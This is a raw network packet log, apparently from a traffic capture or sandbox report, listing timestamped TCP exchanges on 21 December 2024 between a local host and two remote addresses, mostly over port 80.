                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.660973072 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.661030054 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.662034035 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.662142992 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.662209034 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.663141012 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.663189888 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.663255930 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.663306952 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.664452076 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.664469004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.664499044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.664525032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.665477037 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.665524960 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.665534019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.665560007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.666654110 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.666702032 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.666724920 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.666738987 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.667752981 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.667862892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.667906046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.667958021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.668934107 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.669028044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.669081926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.670056105 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.670191050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.670254946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.671205997 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.671231985 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.671258926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.671288967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.672482967 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.672534943 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.672574997 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.672632933 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.673511982 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.673602104 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.673624992 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.673666954 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.674679995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.674726009 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.674767971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.674813032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.675820112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.675898075 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.675980091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.676028967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.677026987 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.677071095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.677118063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.678095102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.678145885 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.678215027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.678261995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.679265976 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.679320097 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.679380894 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.679426908 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.680389881 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.680417061 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.680437088 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.680470943 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.681562901 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.681608915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.681674957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.681723118 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.682743073 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.682789087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.682823896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.682867050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.683855057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.683898926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.684012890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.684058905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.684992075 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.685039043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.685110092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.685157061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.686146975 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.686192989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.686269999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.686317921 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.687342882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.687395096 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.687414885 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.687433958 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.688424110 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.688469887 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.688546896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.688591003 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.689604044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.689730883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.689779043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.690738916 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.690782070 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.690821886 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.690870047 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.691889048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.691935062 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.692014933 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.692060947 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.693033934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.693078041 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.693131924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.693177938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.694194078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.694241047 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.694305897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.694358110 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.695357084 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.695405960 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.695672989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.695719004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.696510077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.696553946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.696738005 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.696784019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.697681904 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.697734118 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.697748899 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.697777987 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.698785067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.698833942 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.698899031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.698945045 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.699945927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.699995041 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.700028896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.700078011 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.701103926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.701159000 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.701236010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.701282978 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.702233076 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.702280998 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.702347040 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.702393055 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.703361034 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.703408003 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.703449965 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.703497887 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.704621077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.704668045 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.704740047 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.704785109 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.705668926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.705714941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.705769062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.705831051 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.706841946 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.706891060 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.706949949 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.706995010 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.708002090 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.708069086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.708079100 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.708123922 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.709248066 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.709292889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.709369898 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.709417105 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.710268021 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.710314989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.710367918 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.710416079 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.738368034 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.738478899 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.751456022 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.751542091 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.809298038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.809416056 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.809500933 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.809559107 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.809916973 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.809971094 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.809997082 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.810045004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.811017990 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.811067104 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.811114073 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.811161995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.812134027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.812182903 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.846780062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.846853971 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.846950054 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.847004890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.847367048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.847383976 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.847420931 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.847436905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.848634005 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.848680019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.849044085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.849095106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.849131107 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.849179983 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.850275040 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.850326061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.850332022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.850378036 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.851496935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.851546049 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.851636887 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.851686001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.852735996 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.852783918 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.852813959 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.852859020 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.853842974 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.853890896 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.853979111 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.854028940 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.855031013 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.855103970 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.855134010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.855181932 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.856180906 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.856228113 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.856257915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.856306076 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.857320070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.857381105 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.857391119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.857438087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.857937098 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.858007908 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.858025074 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.858234882 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.858413935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.858463049 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.858505011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.858551979 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.859568119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.859616041 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.859649897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.859704971 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.860435963 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.860541105 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.860742092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.860778093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.860790014 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.860825062 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.861689091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.861713886 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.861736059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.861748934 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.862756014 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.862806082 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.862840891 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.862888098 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.864037991 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.864087105 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.864177942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.864228964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.865231991 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.865257025 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.865279913 CET4985080192.168.2.431.41.244.11
